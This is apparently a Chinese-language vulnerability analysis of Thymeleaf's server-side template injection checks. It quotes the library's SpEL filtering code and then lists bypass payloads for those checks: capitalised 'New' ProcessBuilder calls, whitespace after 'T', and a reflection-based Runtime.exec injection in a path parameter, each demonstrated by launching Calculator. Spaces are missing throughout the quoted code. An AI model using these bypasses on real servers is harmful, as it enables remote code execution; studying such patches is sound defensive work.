final IStandardExpressionParser expressionParser = StandardExpressions.getExpressionParser(context.getConfiguration()); if (!(expressionParser instanceof StandardExpressionParser)) { return input; }
final Matcher matcher = PREPROCESS_EVAL_PATTERN.matcher(input);//进行正则匹配,匹配__和__之间的内容 if (matcher.find()) { final StringBuilder strBuilder = new StringBuilder(input.length() + 24); int curr = 0; do { final String previousText = checkPreprocessingMarkUnescaping(input.substring(curr,matcher.start(0))); final String expressionText = checkPreprocessingMarkUnescaping(matcher.group(1));//提取__和__之间的内容 strBuilder.append(previousText); final IStandardExpression expression = StandardExpressionParser.parseExpression(context, expressionText, false); if (expression == null) { returnnull; } final Object result = expression.execute(context, StandardExpressionExecutionContext.RESTRICTED);//执行spel运算
publicstaticvoidcheckViewNameNotInRequest(final String viewName, final HttpServletRequest request){ final String vn = StringUtils.pack(viewName);//StringUtils.pack() 的作用是去掉字符串的空格和 ASCII 码在空格之前的特殊字符,并最后转为小写 final String requestURI = StringUtils.pack(UriEscape.unescapeUriPath(request.getRequestURI()));
boolean found = (requestURI != null && requestURI.contains(vn));//如果路径里包含模板则报错 if (!found) { final Enumeration<String> paramNames = request.getParameterNames(); String[] paramValues; String paramValue; while (!found && paramNames.hasMoreElements()) { paramValues = request.getParameterValues(paramNames.nextElement()); for (int i = 0; !found && i < paramValues.length; i++) { paramValue = StringUtils.pack(UriEscape.unescapeUriQueryParam(paramValues[i])); if (paramValue.contains(vn)) {//如果传参包含模板名就会报错 found = true; } } } } if (found) { thrownew TemplateProcessingException( "View name is an executable expression, and it is present in a literal manner in " + "request path or parameters, which is forbidden for security reasons."); }
privatestaticfinalchar[] NEW_ARRAY = "wen".toCharArray(); // Inverted "new" privatestaticfinalint NEW_LEN = NEW_ARRAY.length; publicstaticbooleancontainsSpELInstantiationOrStatic(final String expression){ finalint explen = expression.length(); // 表达式总长度 int n = explen; // 从字符串末尾开始扫描(倒序扫描) int ni = 0; // 用于匹配 "new" 关键字的索引(状态机计数器) int si = -1; // 用于记录 ')' 的位置,用于匹配 T(...) 结构 char c; // 当前扫描字符 while (n-- != 0) { // 从后往前遍历字符串 c = expression.charAt(n); // 当前字符 if (ni < NEW_LEN && c == NEW_ARRAY[ni] && (ni > 0 || ((n + 1 < explen) && Character.isWhitespace(expression.charAt(n + 1))))) {//判断一个字符是否属于“空白字符 ni++; if (ni == NEW_LEN && (n == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 1)))) {//判断一个字符是否可以作为 Java 变量名的一部分 returntrue; // 即判断表达式开头是否为new } continue; // 继续匹配下一个字符 } // 重置匹配状态 if (ni > 0) { n += ni; ni = 0; if (si < n) { si = -1; }
continue; } ni = 0;
if (c == ')') { si = n; } elseif (si > n && c == '(' && ((n - 1 >= 0) && (expression.charAt(n - 1) == 'T')) && ((n - 1 == 0) || !Character.isJavaIdentifierPart(expression.charAt(n - 2)))) {
returntrue; // 发现存在T(...) 这样的格式开头
} elseif (si > n && !(Character.isJavaIdentifierPart(c) || c == '.')) { si = -1; } } returnfalse; // 没检测到危险模式 }
上述代码即检测spel表达式是否存在new加空格或者T(...) 这样的格式
绕过new限制 使用 ${New java.lang.ProcessBuilder('bash','-c','open -a Calculator').start()} ${new.java.lang.ProcessBuilder('bash','-c','open -a Calculator').start()}
绕过T限制 T和(中间添加%20(空格)、%0a(换行)、%09(制表符)等等进行绕过
或者使用反射调用 path=__${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'open -a calculator.app')}__::
3.0.15
Thymeleaf 3.0.14 没有对应的 Spring Boot 官方版本,只能手动引入使用,并且14和15版本补丁相差不大,这里就不再单独分析3.0.14版本的补丁,直接对3.0.15版本补丁进行分析